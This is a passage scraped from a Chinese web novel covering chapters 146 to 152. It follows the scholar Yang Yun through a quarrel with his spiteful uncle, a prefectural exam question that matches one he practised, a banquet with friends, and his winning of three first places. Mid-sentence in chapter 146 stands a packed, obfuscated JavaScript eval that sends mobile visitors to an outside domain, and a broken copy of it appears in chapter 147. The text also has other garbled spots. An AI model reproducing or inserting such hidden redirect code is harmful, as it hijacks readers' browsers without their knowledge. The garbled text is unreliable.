听到周仲的感慨，杨云眼神中有一丝不解闪过，歪着脑袋问道：“师兄，你说什么我真的做到了？” 眼看杨云都不记得，周仲笑呵呵地提醒说： “在你进东阳书院读书之前，我和你同行回家，当时我说，咱们要明年再见。” “你立刻回我，说你要一路势如破竹，直过院试，跟我一起去州府。” “现下你连拿两个案首，院试这关也挡不住你，也算说到做到。” 杨云才想起来，当初他在分岔路口，跟周仲说过这样的豪言壮语。 他不好意思地笑笑，微微地摇着头说：“当时没参加过科举，不知道这其中的艰辛，自然是想到什么说什么。” “参加过两次考试，已知道里面的难处，我是再不敢说这样的大话了。” 第146章 冷嘲热讽 第一百四十六章冷嘲热讽 杨云虽然拿下府试和院试的案首，但他没有自满，反而在读书时更加用功。 尤其是放榜那天，那个想要悬树自尽的男人，更加让他感觉到，科举有多么艰辛。 周仲看着杨云认真的样子，脸上忽然泛起笑意，开心地说： “之前罗师还担心，你拿两个案首会狂得没边，让我敲打一下你，看来是不用了。” 连拿两个案首，确实是值得吹嘘的事，但在罗孝荣看来，没有拿到秀才的功名，再多的案首都只是过眼云烟。 他在临山府赶不回来，书信敲打又怕杨云不当回事，只能让周仲代劳。 听到罗师担心他会飘，杨云老老实实地对周仲说： “之前确实狂过，只是面上没表现出来，心里却看不起别人。” “后来我交到几位朋友，他们的作文机敏，渊博，比我强上一筹，我才消去骄狂之心。” 跟杨云住在一起的梁庭霖、于慎言，虽名次比他低，但切磋文章的时候，两人总能写出别出心裁之语，让杨云眼前一亮。 魏承业更不用说了，四书五经的造诣跟杨云差不多，但在史学，律法等杂学方面，比杨云强得不是一星半点。 正是因为有这些朋友，杨云知道他的成绩微不足道，才能沉下心来学习。 听到杨云这么看重这些朋友，周仲笑呵呵地举起盛着白水的酒盅，“等到院试之后，你一定要把这些朋友介绍给我认识。” 杨云自然是忙不迭地答应，朋友越多，日后的路走得越顺。 在两人碰杯的时候，一个头戴竹冠的中年男人走进来，看到杨云碰杯，以为他是在喝酒，忍不住冷哼一声，出言讥讽， “拿下两个案首以为了不起？哼，后面有的是苦头让你吃！” 周仲忍不住眉头微皱，抬头看着他冷冷地反问： “这位兄台，你刚才的话是什么意思？你想让谁吃苦头？” 还不到吃晚饭的时辰，客栈大堂内只有周仲这一桌客人。 再加上两个案首这么明显的指向，中年人的话很明显是冲着杨云来的。 身为杨云的师兄，周仲自然得为他出头，才立刻开口问回去。 没想到中年人脸上没有丝毫惧色，负手而立，指名道姓地说： “我的话是什么意思，你听不出来吗？杨云，你这个样子，院试肯定过不了！” 周仲没想到中年人竟得寸进尺，砰的一声把酒杯墩在桌上，冷冷地看着中年人说： “想吃苦头用不着等到以后，我马上能让你吃苦头！” 眼看周仲有要动手的意思，杨云连忙起身拦住他，满脸假笑地向中年人看去，昂着头说： “二叔，从年夜饭之后，咱们两个有半年没见了，你用不着刚见面损我吧？” 刚才还气势汹汹的周仲愣住，目光在中年人和杨云身上转几圈，脸上满是惊疑之色，结结巴巴地说：“二...叔？杨云，你说他是你二叔？” 刚才走进客栈的人正是杨云的二叔，杨玉昭，他之前被族老和父亲禁足，在家闭门苦读。 现下院试在即，杨老爷子取消禁足，让他前来府城参加院试，争取拿个功名。 看着周仲难以置信的样子，杨玉昭鼻中轻哼一声，不紧不慢地说： “怎么，难道杨云是什么了不起的人物，需要让我来跟他攀关系？” 听得杨玉昭如此盛气凌人的话，周仲完全没有刚才一言不合就动手的架势，低头赔笑说： “原来是**叔当面，在下有眼不识泰山，刚才多有得罪，还请二叔见谅。” 周仲和杨云平辈论交，他又不知道杨云家里那些狗屁倒灶的事，自然对长辈非常尊重。 杨玉昭见周仲向他低头，不仅没有顺坡下驴，反而说话更加过分， “见谅？见什么谅？你能跟杨云混到一起，足见你也不是什么好东西！” 杨云听到杨玉昭连他的朋友都骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591892|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他脸上的笑容立刻一沉，面无表情地看着他说： “二叔，你怎么说我都可以，但不能说我朋友。你立刻给他道歉！” 朋友因为他被骂一顿，杨云自然要帮朋友把场子找回来，不然两人以后怎么相处？ 见杨云竟敢命令他给周仲道歉，杨玉昭脸上的不屑之色更浓，倨傲地昂着头说： “杨云，我不道歉你能拿我怎么样？别忘了，我是你二叔，动我一下，我上衙门告你！” 大盛朝以孝治天下，二叔是长辈，杨云以侄子身份殴打叔叔，那是犯忤逆之罪。 一旦这个罪名坐实，不仅已经到手的两个案首要被夺走，以后杨云也不能参加科举。 周仲念这么多年书，自然知晓其中轻重，拉拉杨云的衣服，小声说： “算了杨云，只是挨几句骂而已，没事的。” 这时周仲已经看出来，杨云这个二叔和他有些不对付，但**其中原委，自然想着息事宁人。 先把杨玉昭敷衍过去，再慢慢跟杨云了解他和他二叔是怎么回事，最后决定怎么做。 杨玉昭看到周仲服软，脸上的笑意更盛，得意扬扬地站在原地，拿准杨云对他毫无办法。 杨云没有理会周仲，而是直勾勾地盯着杨玉昭，话语中带着一丝冷意， “我再说一遍，立刻给我朋友道歉，不然别怪我不客气！” 看着杨云黑得跟锅底一样的脸，杨玉昭心中更加高兴，轻哼一声说： “你就算说一万遍，我也不会道歉。杨云，别觉得拿两个案首很了不起，以为天下人都会对你俯首帖耳！” 姜梅回到青山村，有一次跟胖婶聊天，一不小心把杨云府试拿案首的事说出去。 第二天整个村子都知道这件事，族老还特意拿着东西去看姜梅。 老爷子也让杨玉竹给姜梅包个红包，村里人见到姜梅，说话也客气、热情许多。 唯有杨玉昭，听说这件事后，快把牙咬碎！ 第147章 院试开考 第一百四十七章院试开考 在杨玉昭看来，杨云拿到的案首，被人尊敬的风光，都应该是他的！ 如果不是杨云占得清文道长说的那块风水宝地，他怎么可能读书半年，拿两个案首？ 要是杨云乖乖把那块风水宝地让出来，他今年一定能考中秀才！ 哪还用得着像这样，读半年书，到底能不能考中，心里一点底都没有！ 见杨云在院试之前，竟还有闲心跟朋友喝酒，杨玉昭当然要冷嘲热讽两句。 万一要是弄得杨云心神大乱，做出什么不理智的事，青山村那块风水宝地，会是他的！ 杨云看着死猪不怕开水烫的杨玉昭，鼻中轻轻哼一声，上前轻声对他说： “二叔，你是不是忘了杨元贞？他还在东平县呢，万一口无遮拦，说出点什么，你的功名定然会废掉。” 当初杨元贞在杨云家盖房时捣乱，后来被李乐山吓跑，背后指使的人是杨玉昭。 这件事捅出去，杨玉昭不仅要被衙门治罪，还得背上欺凌兄弟遗孀的罪名，东平县的提学知道这件事，定然会把他的童生革去。 杨玉昭的脸颊狠狠抽动一下，在被禁足的时候，他以为这件事已经过去，但没想到又被杨云拿出来威胁他！ 沉思片刻后，杨玉昭故作镇定地说：“这件事族老已经知道，杨元贞只要还想回村，不可能会乱说话。” 杨玉昭在赌，赌这件事杨老爷子和族老已经替他收拾干净。 看杨玉昭外强中干，虚张声势的样子，杨云不屑地哼一声，小声对他说： “当初是族老说，你从今以后不会再招惹我，我才同意不再追究。不然你以为那么大的事，你仅仅禁足半年行了？” “现下你嘲讽我不说，还骂我朋友，你觉得当初的约定还有效果吗？” 杨玉昭的脸色微变，他之前庆幸自身逃过一劫，完全没想过这一点！ 他心中飞速权衡，到底是功名重要，还是心中这口气重要？ 思索片刻之后，杨玉昭挤出一丝干巴巴的笑容，虚伪地说： “小云，你不要生气，叔叔我是看你在院试之前还喝酒，太担心你，说话的语气才重点，你千万不要往心里去。” 为保住自身的功名，杨玉昭暂时只能选择忍气吞声。 等他考上秀才，这点事不会再是多**烦，那时再找杨云报仇也不迟！ 见到杨玉昭对他赔着笑脸说好话，杨云拿起桌上的酒盅一口喝个干净，对他说： “你看清楚，我和师兄喝的是水，不是酒！” “就算喝的是酒，你教训我也算了，为什么还要骂我师兄？马上向他道歉！” 杨玉昭被杨云训得眼角直跳，但为功名，他又不敢反抗，只能冲周仲假笑着说： “这位兄台，刚才是在下太过激动，口不择言，冒犯兄台，还请兄台多多见谅！” 看杨玉昭真向他道歉，杨周仲诧异地看一眼杨云，连忙回礼说： “无妨无妨，只是些许小事，阁下不用在意。” 柜台后面的掌柜和小二全程围观，见到杨玉昭前后变脸这么快，用力地抿着嘴唇憋着笑。 杨玉昭眼角余光扫过两人，知道他们是在嘲笑他，心中又羞又急，强撑着对杨云说： “你们两个慢慢喝，我还有事，先回房了。” 说完，不等杨云开口，他带着下人回后院。 周仲目送杨玉昭离开，拉着杨云坐下，皱着眉头问： “杨云，你这位二叔怎么看起来像是仇人一样？” 杨云和周仲是师兄弟，也是自家人。 他把他回村后，杨玉昭几次对他下阴招的事说出来，听得周仲连连摇头。 只是杨云和杨玉昭毕竟是亲叔侄，就算是周仲也不好插手，最后只能说回院试。 两人一直聊到晚上，才依依不舍地分开，约定院试之后，好好聚聚。 转眼到院试这天，一大清早，杨云打着哈欠，提着考篮从房间里出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨云看到院试的题目之后，脸上平静无波，闭着眼睛似在琢磨破题思路。 实际上心中却狂喜，这道题他见过！ 第148章 保密 第一百四十八章 保密 之前罗孝荣给杨云写过信，信中有他给杨云出的数十道题目。 其中有一道，与院试这道题极为相似！ 这道题杨云曾与梁庭霖，于慎言讨论过，三人总共想出七种破题思路。 每种思路都写出两到三篇文章。 杨云甚至都不用打腹稿，已能一气呵成！ 但他没有着急写，小心地瞄一眼他面前的兵丁后，杨云翻过去看另外两题。 剩下的两题，一道是四书的经义题，还有一道是五言六韵诗。 杨云沉思片刻，先是琢磨后面那道经义题，想出破题思路后，又在草纸上写好初稿。 初稿完成，杨云开始着手润色修改，足足一个时辰后才把这篇文章改好。 确定没有格式错误，也没有犯忌讳后，杨云把这篇初稿小心压好，开始写五言六韵诗。 日头渐渐西斜，杨云不到未时已经把两道经义题，一首试帖诗全部做好。 眼看距离交卷还有两个多时辰，杨云开始想其他的破题思路，也算是磨炼学识。 这样一直等到酉时，考场上响起一阵沉闷的鼓声，所有的兵丁齐声大喊： “考试时间到，所有考生停笔！” 杨云的题目早已做完，但有的人还在奋笔疾书，对兵丁的声音恍若未闻。 兵丁们也知道考生不容易，故此睁一只眼闭一只眼，假装没有看到。 很快听到一个声音喊道：“收卷！” 考舍前的兵丁立刻上前，把所看考生的题纸收走。 要是这时候考生还在写，兵丁不收，算作落榜。 兵丁们收完试卷，有专人把他们收上来的试卷汇总到一处，糊名誊录，防止作弊。 直到所有试卷收完，主考的学政大人才拿出钥匙，打开考院门上的锁，放考生们离开。 杨云提着考篮从考院中出来，却见梁庭霖和于慎言已经出来，正在路边等着。 梁庭霖见到杨云出来，兴奋地冲着他摆摆手，高声地叫道：“杨兄，这里，这里！” 杨云从人 流中艰难地挤到梁庭霖身前，笑呵呵地说：“有劳两位久等，咱们回去吧。” 一脸兴奋之色的梁庭霖，没注意周围的环境，开心地对杨云说：“杨兄，你有没有发现，这次院试的第一题……” 梁庭霖刚开口，杨云已猜到他要说什么，脸色微微一变，立刻开口打断他，“慎言！你觉得第一道题难吗？我想好一会儿才想到破题思路。” 于慎言知道杨云是在给梁庭霖打掩护，立刻装出一副为难的样子，配合着杨云说： “我觉得还算可以，也是花点时间才找到思路。” 梁庭霖才明白，杨云刚才为什么会叫于慎言的名字。 那不是在叫于慎言，而是在提醒梁庭霖，有些话不能在这里说！ 想明白杨云的用意，梁庭霖也一阵后怕，连忙附和着说： “确实难，不然我也不会刚出来问第一题了。” 三人看看四周，发现周围的学子都在热火朝天地讨论考题，根本没人注意他们，才放下心来，坐着马车回到租住的小院。 把考篮交给孙妈收拾后，三人刚准备坐下说说第一题的事，又听到一阵敲门声响起。 不多时，魏承业和林和光提着考篮进来，显然是出考院，立刻奔这里来。 杨云看看魏承业，又看看林和光，突然问道： “你们两个是为院试第一题来的吧？” 之前魏承业通知过杨云院试时间，杨云把罗孝荣出的题目给他一份，其中包括跟院试第一题极为相似的那道题！ 魏承业听杨云说得这么直白，愣一下后，轻轻点头问道： “杨兄，你之前给我的那数十道题目，来源没问题吧？” 拿到考题后，魏承业也发现院试第一题他做过，才赶紧来找杨云。 杨云拿出的练习题目和院试第一题那么相似，实在也太巧一点。 杨云无奈地摇摇头，冲着在座的众人说：“我跟你们说过，那是我老师让我练习的题目，来源肯定没问题。” 五人相对无言，他们知道题目的来源没问题，但说出去别人未必会信。 沉默半天后，杨云看着魏承业问道：“魏兄，我给你的那份题目，除你和林兄之外，还有别人知道吗？” 魏承业摇摇头，表示没跟别人说过。 林和光也赶快表示，“那道题我只做一遍，放在一边了。” 这种题目，每个参加院试的学子都会做上不少，林和光当时也不知道院试第一题，会跟那道题相似，早知道该多做几遍。 听到林和光与魏承业都没让别人看过，杨云长舒一口气，带着几分庆幸说： “幸好只有五人知道，大家记住，这件事万万不能对别人提起，只要咱们几人知道即可” 几人纷纷点头，唯有梁庭霖眼神中带着几分不解，皱眉说：“一道题目相似而已，咱们用不着这么小心翼翼吧？” 于慎言见到梁庭霖还没发现这件事的危险，不得不开口提醒说：“梁兄，你我知道考题相似只是巧合，但别人知道之后会怎么想？” “就算他们相信是巧合，你能保证，那些没考上的学子，不会借此闹事？” 杨云的练习题目与院试考题相似，往小说，只是巧合，要是往大说，能牵扯到科举舞弊主考泄题，那些落榜的考生可以借此为由，逼着云州官场重考院试。 至于杨云等五人，就算不被抓进牢里，也得几年之内不得参加科举。 听到于慎言的解释，梁庭霖才反应过来，这件事没有他想得那么简单。 又想到他在考院之外，差点把这件事公之于众，梁庭霖不由得冷汗直冒。 五人约好之后，各自回去温书，三日之后还有一场复试要考。 转眼三天过去，正试放榜，冯伯起早去府衙门口看榜，直到快中午的时候才回来。 刚一进门，冯伯喜气洋洋地大声喊道： “给三位公子道喜，三位公子都在榜上！杨公子更是拿下第一啊！” 第149章 考完 第一百四十九章 考完 杨云三人立刻从屋里出来，脸上带着努力克制的喜色，互相冲另外两人拱手，口中说着恭喜。 他们三人本才学不凡，又恰好做过复试第一题，过也是意料之中的事。 杨云从身上摸出一两银子，交给冯伯，语气轻快地说：“今晚做几个好菜，剩下的当是你和孙妈的赏钱。” 冯伯喜滋滋地谢过，转头去和孙妈安排今天晚饭的事。 梁庭霖看看另外两人，脸上的笑意更重，神色放松地说：“二位，正试放榜之后，还有复试，咱们得抓紧时间温习啊。” 于慎言站在房间门口，双眼亮地放光，“正试三人齐过不算什么，要是院试放榜，咱们三人同在榜上，那才是真正的大喜！” 杨云和梁庭霖点点头，他们也都想看到那一幕。 当天晚上，三人吃一顿丰盛的席面，算是庆祝，又抓紧时间温书。 转眼到复试这天，杨云三人早早出家门，坐着冯伯的马车，前往衙门应考。 相比正试之时的人山人海，府衙门前冷清不少，八成左右的人都在正式中被筛下去。 有资格参加复试的学子们，三五成群站在一处，不知道在说些什么。 梁庭霖看到这种情况，心中不由得有些感怀，轻声对另外两人说：“那么多人，读那么多年书，老天却用一天时间废掉他们的努力，真是让人唏嘘。” 其实能参加院试的学子，也算是幸运，更多的人倒在县试、院试这一关。 杨云看一眼周围的学子，脸上没有任何表情，只是语气坚定地说： “科举本是千军万马过独木桥，既然一定有人要过去，为什么不能是我们？” 相比梁庭霖略带悲观的言语，杨云的话里透出一股舍我其谁的信心和霸道。 梁庭霖和于慎言都诧异地看一眼杨云，平日里杨云十分低调，谦逊，没想到竟能说出这种霸气的话。 在三人往前走的时候，忽然听到一个声音叫道： “杨兄，梁兄，于兄，这里！” 三人抬头一看，魏承业与林和光早早来了，正站在府衙门口冲着他们挥手。 三人艰难地挤到府衙门口，梁庭霖看着一点都不紧张的魏承业，皱眉问道： “魏兄，难道你不担心……” 虽然后面的话没有说出来，但所有人都知道，梁庭霖是想问魏承业，没考中怎么办。 没想到魏承业一脸轻松地摇摇头，笑呵呵地对梁庭霖说： “考中考不中，其实都是看运气的，就算没考中，大不了下次再考，用不着紧张。” 杨云等人神色都有些苦涩，他们当然知道魏承业说的道理，知道却未必能做到。 看着四人苦笑，魏承业左右看看，见没人注意他这边，压低声音说：“我相信，这次老天是站在咱们这边的。” 几人愣一下，反应过来，魏承业说的是正试第一道题的事！ 要是老天不想让他们中，也不会把那道题送到他们面前。 虽然杨云觉得这是无稽之谈，但见到其他三人的面色好一些，也没有多嘴。 眼看天边露出鱼肚白，府衙大门慢慢打开，兵丁们排排站好。 学子们也懂事地配合搜捡，进入考院找到各自位置。 钟声响过，杨云拿到复试的题目。 一共五道题，四书，五经各有一篇文章，还有一道判语，一首试帖诗及压轴的策论。 这个题量相比正试多将近一倍，肚子里没点墨水的人，恐怕连做完都难。 杨云先是粗略看一下题目，再做最简单的判语和试帖诗，初稿自然是写在草纸上。 接着是四书五经的两篇文章，杨云很快找到破题思路，文章依旧是写在草纸上。 等做完这些，已经到未时，杨云从考篮中拿出点心随意吃两口，垫垫肚子继续做题。 最后一道策论题目，是问水旱蝗灾，民多流亡，是要先赈灾，还是先防乱。 杨云沉思片刻，决定以孟子民为贵破题，先赈灾民，再防饥民生乱，笔锋一转，说这些都是短期措施，真正的防灾要做好应急准备，这样才能民不乱，天下安。 将所有题目做完后，杨云休息片刻，拿着初稿开始仔细修改，润色，确保格式没错，行文之中没有犯忌讳的地方。 等到文章都修改完，杨云才小心翼翼地将文章誊写在题纸上。 咚咚咚。 沉闷的鼓声响起，学子们看着兵丁把题纸收走，脸上露出忐忑之色，不知道能不能中。 杨云拿着考篮走出考院大门，身上忽然感觉前所未有的轻松，不管结果如何，他都可以暂时休息一段时间。 魏承业等人早已在外面等着，见到杨云出来，热情地把他叫过去。 “各位，现下院试考完，咱们也能好好歇一下，正好我还欠杨兄一桌酒席，不如今晚咱们在福满楼不醉不归如何？” 正试开始之前，魏承业不服杨云，主动上门挑衅，结果却输得一塌糊涂。 当时魏承业想请杨云三人去福满楼吃席，以为赔罪。 杨云觉得太破费，在家里随意吃些，没想到魏承业竟还记着这件事。 杨云面上露出为难之色，不好意思地说：“魏兄，你那天不是已经请过我们了吗？这次不应该让您破费。” 没想到魏承业大手一挥，满不在乎地说：“那叫什么请，今天才是真正的请！大家都得去，不然是不给我面子。” 林和光站在旁边，笑呵呵地帮魏承业敲边鼓，“几位答应吧，魏兄家里是做茶叶生意的，这点小钱对他不算什么。” 眼看话都说到这个份上，杨云三人也不好再推辞，只能答应下来。 在众人准备齐去福满楼的时候，杨云忽然想起一件事，带着几分不好意思说： “魏兄，我有一位同门师兄，这次也来参加府试。他为人直率，才华出众，听说我在府城认识几位朋友，也想跟你们认识一下，不知魏兄意下如何？” 第150章 聚会 第一百五十章 聚会 周仲之前跟杨云说过，等考完试后共谋一醉。 今天魏承业请客，正好把他叫来，一来多认识些朋友，二来也能跟他好好聊聊。 魏承业本来是个好交朋友的人，听到来人是杨云的师兄，满口答应下来， “既然是杨兄的师兄，那也是我的朋友，他在哪住？我让人去请！” 杨云见到魏承业同意，连连摆手，笑着对他说： “要请的人是我师兄，我应该亲自去请才对。各位先去福满楼，我与师兄一会儿到。” 众人觉得左右差不了多少时间，先去福满楼等着杨云。 送魏承业等人离开后，杨云先把考篮送回小院，才提着灯笼来到兰云客栈，找到周仲。 见到杨云这时候来，周仲吃一惊，关切地问：“是墨，你怎么这时候来了？是不是出什么事？” 复试刚结束，所有的学子们都在放松休息，杨云却深夜上门，难道他复试发挥不好？ 周仲的眼中闪过一丝忧虑之色，练习的时候落笔成文，真上考场，一个字都写不出来，这样的人他也不是没见过。 在周仲盘算着该怎么安慰杨云的时候，却见杨云笑呵呵地对他说： “师兄，你不是想认识我那几位朋友吗？今晚他们在福满楼聚会，我跟他们说，要介绍个朋友给他们，你快收拾一下，跟我去吧。” 听到杨云不是没考好，而是来请他喝酒吃饭，周仲的心放下来，皱眉说： “你们一起聚会，我这个生人也去，不合适吧？还是下次再说吧。” 今晚杨云跟朋友聚会，周仲一个生人在场，多少有些别扭，不如另外再找机会认识。 没想到杨云笑着摆摆手，毫不在意地说：“师兄，我那些朋友都是好交朋友的人，没有什么合适不合适的。” 眼看周仲还在犹豫，杨云眼睛一转，心中立刻有主意，斜着眼睛看着他说： “我去四方村拜师的时候，师兄还和猪兄喝过酒，今天只是几个生人，你怎么不敢啊？” 周仲不去，只是怕杨云为难，现下听到他这么说，知道他是真心邀请他去，点头道， “好，咱们师兄弟今晚不醉不归！” 等周仲收拾一下，两人提着灯笼往客栈大堂走去，不成想走到大堂，又碰到杨玉昭。 见到杨云和周仲这么晚还要出门，杨玉昭猜测两人必然不干好事，鼻中冷哼一声，不屑地甩一下袖子，昂然向后院走去。 杨云和周仲同样没理他，三人擦肩而过，各自去做各自的事。 夜晚的福满楼，每一层都点着十数个大大的红灯笼，将门前的路照得亮堂堂。 周仲看着雕梁画栋，灯火通明的福满楼，忍不住赞叹道： “好漂亮的一座酒楼！这怕是府城最贵的酒楼吧？” 不管是气派还是格调，福满楼都是一等一的，在这里吃饭的价钱，自然是一等一的。 杨云笑着摇摇头说： “我也是第一次来，不知道贵不贵。但今晚有人请客，你尽管放开吃就行。” 两人迈步走进福满楼，立刻有小二迎上来，热情地笑着招呼说： “二位客官，你想吃点什么？莲房鱼包，清炒山珍是咱们酒楼的招牌菜，您二位尝尝？” 杨云将手中的灯笼吹灭，笑着对小二说： “我们是魏承业魏公子的朋友，你领我们去见他就行。” 听到是围城也的朋友，小二应了一声，将两人的灯笼放在柜台，随后领着杨云周仲来到二楼的齐月阁，站在一边冲着杨云微笑。 杨云上前把门推开，果然见到魏承业几人已经各自坐下，他笑着拱手说： “不好意思各位，杨某来晚了。这位是我师兄周仲，同样是今科的考生。” 看包间里坐着这么多人，周仲不卑不亢上前，嘴角带着淡笑，冲周围的人作个罗圈揖， “东平县周仲，见过各位仁兄，贸然打扰，还请见谅。” 见到杨云的师兄这么客气，众人连忙回礼，各自报出姓名，大家算是认识。 跟周仲通过姓名后，魏承业冲着包厢外面的小二说：“小二，我们的人齐了，你们可以上菜了！” 小二确定杨云和魏承业认识，才干脆地应一声，关上房门下去通知上菜。 众人苦读整年，现下考完正好放松一下，几人刚开始还是闲聊，等到酒菜上来，立刻开始推杯换盏，一时间好不热闹。 魏承业喝几轮，觉得这样喝太过单调，主动提议说：“各位咱们行个拆字令如何？” 在座的人都是学子，自然不甘示弱，纷纷答应下来。 见到众人应和，魏承业首先开口，“田字不透风，十字在当中，十字推上去，古字赢一盅！” 杨云说回字，周仲说困字，其他人也说一个字，直到第二轮，梁庭霖实在想不出来，只能在大伙的起哄中喝一盅。 众人越玩越开心。 直到一个时辰之后，全都喝醉。 周仲站在墙边，对着一幅画上的鹤说话。 魏承业非要拉着林和光继续喝，还嘴硬说他没醉。 于慎言想起家中父母对他的期望，坐着默默流泪。 梁庭霖趴桌上说着醉话。 酒量最好的杨云也有五分醉意，他看众人喝得差不多，悄悄从包厢出来，对掌柜说： “给齐月阁上六碗醒酒汤，我们这桌一共花多少银子啊？” 掌柜快速拨动一下算盘，笑呵呵地说：“客官，六碗醒酒汤算小店送您的，其他菜总共要四两银子。” 四两银子都够平常的三口之家两个月花销，在福满楼，却只是一桌酒席而已。 杨云对这个价格不是很吃惊，他在京城吃的酒席，动辄几十两上百两，区区四两银子实在不算什么。 他从怀里拿出银子交给掌柜，才悄悄返回包厢，好像什么事都没发生一样。 不多时，小二送来醒酒汤，杨云逼着众人都喝一点，挨个把他们送回家。 转眼到院试放榜这天，杨云几人早早来到府衙门口，神色紧张地等着院试放榜。 第151章 小三元 第一百五十一章 小三元 榜下学子的神色既兴奋又紧张，有些学子实在是心中没底，小声地嘟囔着说： “老天爷，千万保佑我的名字在榜上，只要我考上秀才，一定重礼相谢！” 还有的学子，故作轻松地对身边的朋友说： “复试的考题不算难，此次放榜，我必然名列前茅！” 连杨云心中也忍不住有些紧张，他心中清楚，答得好不一定能考上。 前朝曾有官员批阅考卷之时，一摞考卷无故落地，身边小吏准备捡起。 这位考官却大手一挥，让小吏把这些考卷全都黜落。 小吏疑惑不解，考官解释说，这些试卷掉到地上，说明他们没有上榜的命，此乃天意。 这次主考的学政大人，如果也有这种毛病，杨云就算写得再好也只能看运气。 在各路学子各施神通的时候，府衙大门缓缓打开，六个衙役从衙门里走出来。 “放榜了！差役过来放榜了！” 学子们见到衙役出来，按捺不住，纷纷往前挤。 衙役来到布告栏前，没有先贴榜单，而是冲着四周的学子大声喊道： “凡是上榜学子，明日卯时三刻在府衙门口集合，共同拜谢学政大人，不可缺席，不可延误，违者取消功名！” 院试考完，凡是中秀才的学子，都得拜谢学政大人的提点栽培，这是惯例。 学子们早已知道这个规矩，不耐烦地听完衙役的话，催促着赶紧张榜。 此次院试共录取五十人，衙役拿来的榜单，每张只写着十个人的名字，他们仔细看一下，拿着一个上面写着小小五字的榜单开始贴。 随着红色的榜单缓缓展开，一个个名字出现在屏住呼吸的学子面前，第五十名梁庭霖。 “各位，我中了！我中了！” 梁庭霖看到他的名字，喜不自胜，放肆地冲着四周的朋友大声狂呼！ 虽然是第五十名，但对梁庭霖来说，只要能中即可，名次不重要！ 第四十九名，第四十八名…… 随着院试榜单的揭晓，四周像梁庭霖一样狂呼的学子越来越多！ 紧接着是三十一名到四十名。 林和光在三十八名的位置看到他的名字。 于慎言在第三十六名，两人只差一位！ 周仲见到他的朋友中了，忍不住攥紧拳头，他今年不会又没有上榜吧？ 三十名不是，二十九名不是……二十一名，还不是！ 见到周仲紧张的样子，杨云小声地安慰他说： “师兄，不必紧张，你说不定在前十，甚至是案首呢。” 周仲知道他是在安慰他，想要笑一下，却根本笑不出来，只能继续盯着剩下的两个榜单。 第二十名，第十九名，第十八名，周仲！ “杨云，我中……我中了！第十八名，你看到没有，第十八名！” 周仲激动地指着还没贴完的榜单，冲着杨云大声嚷嚷。 从进学以来，周仲已经参加过三次院试，但次次不中，这次是第四次，他终于中了！ 积攒五六年的愤懑委屈不甘，全都爆发出来！ 杨云诚心诚意地祝贺周仲一句，继续看榜。 榜单贴完，杨云的名字还是没出现，他的心不由自主地提到嗓子眼，他不会没中吧？ 他下意识地向四周看一眼，右边是喜极而泣的周仲，再远点是满脸兴奋的梁庭霖和于慎言，朋友们都中了，他要是没中，那该多尴尬？ 正思量间，杨云的目光撞上另一道目光，正是名字同样没有出现的魏承业。 两人苦笑一下，转头向最后一张榜单看去。 成与不成，只在这张榜单上！ 最后一张榜单展开过半，魏承业终于在第五名的位置看到他的名字，他狠狠地拍一下手，前五这个成绩已经很好了！ 杨云看着魏承业的名字，嘴角抽 动几下，却怎么都笑不出来。 第四名不是他，第三名也不是，第二名还不是！ 在杨云快要绝望的时候，衙役终于将最后一个名字露出来。 大盛朝中平四十七年，云州平源府院试第一名，杨云！ 看着那个熟悉的名字，杨云似有点不认识了，呆呆愣愣地看着，脸色木然至极。 “杨云，你是咱们平源府的案首！” “恭喜杨兄，拿下案首！” 周仲和魏承业等人的恭喜声，像是天上飘下来的一样，晃悠好半天，才传到杨云耳中。 终于回过神来的杨云，脸上慢慢有笑容，冲着四周的朋友拱拱手， “恭喜各位，榜上有名！” 这次杨云玉周仲魏承业六人，全部过院试，也算是个不大不小的奇闻。 听到杨云的恭喜，众人知道他缓过来，脸上笑得更加开心，各种夸赞之言不绝于口。 足足过有小半个时辰，众人心中的兴奋才渐渐消退，依依不舍地从榜单前离开。 从府衙离开后，魏承业再次提议， “各位，咱们六人能一同上榜也不容易，今日由我做东，再去福满楼聚一次！” “杨兄，这次你不能再偷偷替我结账了。” 上次福满楼聚会，魏承业喝个酩酊大醉，第二天找掌柜结账，才知道杨云已经结了。 杨云笑呵呵地点点头，上次他从魏承业回家的时候，看到他家是个四进的大宅子，这点钱对他不算什么。 众人来到福满楼，还是要上次的齐月阁，为保证他请客，魏承业还特意叮嘱掌柜，不管他们谁来结账，都不许收，不然他以后不来了！ 因为明天还要拜见学政，众人进包厢后都没有饮酒，只是一边吃菜一边倾诉着兴奋之情。 在众人聊得开心的时候，周仲忽然想起一件事，他起身用手压一下，包厢立刻安静。 在众人好奇地注视下，周仲笑呵呵地看着杨云说： “诸位和杨云不是一个县的，可能不知道，杨云在县试之时是案首，后来府试也拿案首，今日又拿院试的案首，这是货真价实的小三元啊!” 第152章 府学县学 第一百五十二章 府学县学 梁庭霖和于慎言也想起来，杨云之前闲聊时，确实跟他们说过这件事！ 只是两人中秀才后，太过激动，一时间把这件事忘了。 梁庭霖本来是个好热闹的人，立刻拿起茶水走到杨云面前，笑呵呵地说：“杨兄，你拿下小三元是件大喜事，我们得多敬你一杯！” 于慎言玉林和光也纷纷起哄，今天是个高兴日子，怎么闹都不过分。 杨云推脱不过，只能全都饮下。 魏承业落在最后，幽怨地看着杨云，轻声叹气说：“杨兄，别人多敬你一杯，我却得多敬你三杯！” 梁庭霖坐在椅子上，一双眼睛看着魏承业，好奇地问道：“这是为什么？” 魏承业拿起茶杯倒满满三杯，一一摆在杨云手边，笑着解释，“若不是杨兄夺我的府试案首，我也是有机会中小三元的！” “只是杨兄太过生猛，我的小三元刚迈出第一步，已被他给绊倒了。” 众人哈哈大笑，纷纷认定，杨云必须喝三杯。 周仲不知道魏承业是什么意思，低声问于慎言，才明白，原来魏承业是府试第二，甚至为此和杨云斗一场。 